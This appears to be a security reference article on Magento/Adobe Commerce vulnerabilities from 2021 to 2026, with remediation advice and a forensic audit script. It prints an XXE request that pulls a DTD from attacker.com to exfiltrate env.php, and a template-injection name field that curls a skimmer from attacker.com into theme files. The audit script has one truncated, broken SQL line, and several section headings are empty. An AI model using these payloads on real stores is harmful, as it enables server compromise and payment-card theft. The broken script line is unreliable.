Magento & Adobe Commerce CVEs 2021–2026: The Complete Security Reference

1. The Merchant Threat Model: Why Magento Is the Crown Jewel for Attackers

In digital commerce, there is no higher-value target than the checkout execution path of an Adobe Commerce (Magento) application server. Unlike content websites where a compromise leads to defacement or SEO spam, compromising a Magento application server gives the attacker direct, unencrypted access to raw payment card PANs, CVVs, customer PII, and corporate ERP database connectors before encryption takes place.

Between 2021 and 2026, Adobe published over 160 CVEs across its commerce stack. While the vast majority were minor authenticated stored XSS issues in the Admin Panel, a distinct group of zero-day pre-authentication remote code execution and XML External Entity (XXE) vulnerabilities resulted in massive automated exploitation campaigns. In late 2024 alone, a single vulnerability — CosmicSting (CVE-2024-34102) — led to the compromise of more than 7,000 production Magento storefronts worldwide within 90 days of disclosure.

This guide is an architectural post-mortem and operational remediation manual for every critical Magento CVE from 2021 to 2026, written for lead engineers and technical architects maintaining production Adobe Commerce and Magento Open Source infrastructure.

2. Comprehensive Magento / Adobe Commerce CVE Master Matrix (2021–2026)

3. Deep Dive 1: CosmicSting (CVE-2024-34102) & The GNU iconv RCE Chain

Disclosed in June 2024, CosmicSting is the most consequential vulnerability in Magento's history since Shoplift (2015). It originated from a subtle oversight in how Magento's WebAPI framework deserialized incoming JSON and XML payloads for REST and GraphQL endpoints.

3.1 The XXE Root Cause

When an unauthenticated guest user estimates shipping methods or interacts with cart APIs (e.g. POST /rest/V1/guest-carts/:cartId/estimate-shipping-methods), Magento parses the address object. If the incoming payload included raw XML within specific totals or address parameters, Magento's internal XML serializer processed external entity references (DTD) without disabling LIBXML_NOENT and LIBXML_DTDLOAD:

POST /rest/V1/guest-carts/f4a8e2b9c1d0/estimate-shipping-methods HTTP/1.1
Host: shop.example.com
Content-Type: application/json

{
  "address": {
    "totalsCollector": {
      "collectorList": {
        "totalCollector": {
          "sourceData": {
            "data": "<?xml version="1.0" ?><!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY % sp SYSTEM "http://attacker.com/evil.dtd">%sp;%param1;]><r>&exfil;</r>"
          }
        }
      }
    }
  }
}

3.2 Extracting app/etc/env.php and the Secret Key

By hosting an out-of-band DTD (evil.dtd) on an external server, the attacker forced the PHP-FPM process to read the contents of app/etc/env.php from the local filesystem and transmit it via an HTTP parameter back to the attacker's listener.

Inside env.php lies Magento's master cryptographic encryption key (crypt.key). With this 32-character key, an attacker can:

1. Generate valid, cryptographically signed administrative JSON Web Tokens (JWTs) to authenticate as any administrator without a password.
2. Decrypt all stored merchant API keys (Authorize.Net credentials, Stripe private keys, PayPal secrets).
3. Manipulate Magento session cookies stored in Redis.

3.3 Chaining CosmicSting with GNU iconv (CVE-2024-2961) for Immediate RCE

In July 2024, researchers from Assetnote discovered that CosmicSting could be chained with a buffer overflow in the GNU C Library's iconv component (CVE-2024-2961). By using PHP php://filter stream wrappers to convert characters through ISO-2022-CN-EXT encodings during the XXE file read, attackers overflowed PHP-FPM heap memory, hijacked the execution pointer, and executed native shellcode without needing an administrative login.

4. Deep Dive 2: The Checkout Template Injection (CVE-2022-24086)

In February 2022, Magento released an emergency zero-day patch for CVE-2022-24086. The flaw lived inside Magento\Framework\Filter\Template, which parses dynamic variables in transactional email templates.

4.1 The Template Filter Evaluation Engine

When an order confirmation email is generated during checkout, Magento parses customer fields (first name, last name, company) through a template directive filter. The template filter used nested regular expressions to resolve {{trans ...}} directives:

// Vulnerable nested template directive execution
{{trans "{{template config_path=\"design/header/logo_src\"}}"}}

Attackers realized that by submitting a checkout order with a crafted customer name containing nested expressions and PHP variable variables, they could force PHP's eval() or variable reflection to execute arbitrary PHP functions:

First Name: {{var this.getTemplateFilter().filter('{{var this.getTemplateFilter().filter('echo shell_exec("curl http://attacker.com/skimmer.js >> pub/static/frontend/theme.js");')}}')}}

Because guest checkout is open to the entire internet, botnets automated this across thousands of Magento stores, placing £0 orders with fake credit cards to drop permanent backdoor PHP files into pub/media/.

5. Magecart Persistence: How Digital Skimmers Survive Patches

The primary business objective for threat actors attacking Magento is deploying Magecart payment card skimmers. When an attacker gains code execution or admin access via a CVE, they establish multi-layered persistence that often survives subsequent software patching:

6. Forensic Audit Script for Magento Stores

Run this automated bash audit script on your Magento server to check for active compromise indicators, unauthorized admin users, and injected skimmer scripts:

#!/usr/bin/env bash
# magento_security_audit.sh - Deep forensic audit for Magento 2 stores
# Run from Magento root directory

echo "========================================================"
echo "    MODRACX Magento 2 Forensic & Compromise Audit      "
echo "========================================================"

# 1. Check for PHP files in pub/media (Common web shell location)
echo -e "
[*] 1. Scanning pub/media/ for unauthorized PHP files..."
SUSPICIOUS_MEDIA=$(find pub/media/ -type f \( -name "*.php" -o -name "*.phtml" -o -name "*.php5" -o -name "*.phar" \))
if [ -n "$SUSPICIOUS_MEDIA" ]; then
    echo "[!] CRITICAL: Found executable PHP files in pub/media/:"
    echo "$SUSPICIOUS_MEDIA"
else
    echo "[+] Clean: No PHP files detected in pub/media/."
fi

# 2. Check for newly created or suspicious admin users
echo -e "
[*] 2. Checking admin_user table for unauthorized accounts..."
php bin/magento db:query "SELECT user_id, username, email, is_active, created FROM admin_user WHERE created >= DATE_SUB(NOW(), INTERVAL 90 DAY);" 2>/dev/null

# 3. Scan core_config_data for injected scripts
echo -e "
[*] 3. Auditing core_config_data for script tags and obfuscated code..."
php bin/magento db:query "SELECT path, value FROM core_config_data WHERE value LIKE '%/dev/null

# 4. Check for modified core files using git
echo -e "
[*] 4. Checking repository integrity against clean git HEAD..."
if [ -d ".git" ]; then
    git status -s app/ vendor/ pub/static/
else
    echo "[-] Git repository not found in root. Skipping file diff."
fi

echo -e "
========================================================"
echo "    Audit complete. Review any flagged anomalies above. "
echo "========================================================"

7. Complete Remediation & Hardening Blueprint

1. Patch to Latest Maintenance Release: Upgrade immediately to Adobe Commerce / Magento Open Source 2.4.7-p1, 2.4.6-p6, 2.4.5-p8, or 2.4.4-p9.
2. Rotate the Master Cryptographic Key: If you suspect your store was exposed to CosmicSting (CVE-2024-34102), your crypt.key must be considered compromised. Rotate it via CLI:

   php bin/magento encryption:key:change

3. Enforce Strict Content Security Policy (CSP): Magecart skimmers rely on sending stolen credit card data to third-party exfiltration domains. Enforce a strict CSP in app/etc/csp_whitelist.xml denying all unapproved connect-src and script-src destinations:

   <?xml version="1.0"?>
   <config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Csp:etc/csp_whitelist.xsd">
       <policies>
           <policy id="script-src">
               <values>
                   <value id="trusted_payment_gateway" type="host">https://js.stripe.com</value>
               </values>
           </policy>
           <policy id="connect-src">
               <values>
                   <value id="stripe_api" type="host">https://api.stripe.com</value>
               </values>
           </policy>
       </policies>
   </config>

4. Block PHP Execution in pub/media: In your Nginx server block, ensure PHP execution is completely disabled inside media directories:

   location /media/ {
       location ~* \.php$ {
           deny all;
           return 404;
       }
   }

5. Enforce Mandatory 2FA & Secret Admin URLs: Ensure two-factor authentication (2FA) is enforced globally on all admin accounts and change your default /admin path in app/etc/env.php to a random high-entropy slug.

8. Frequently Asked Questions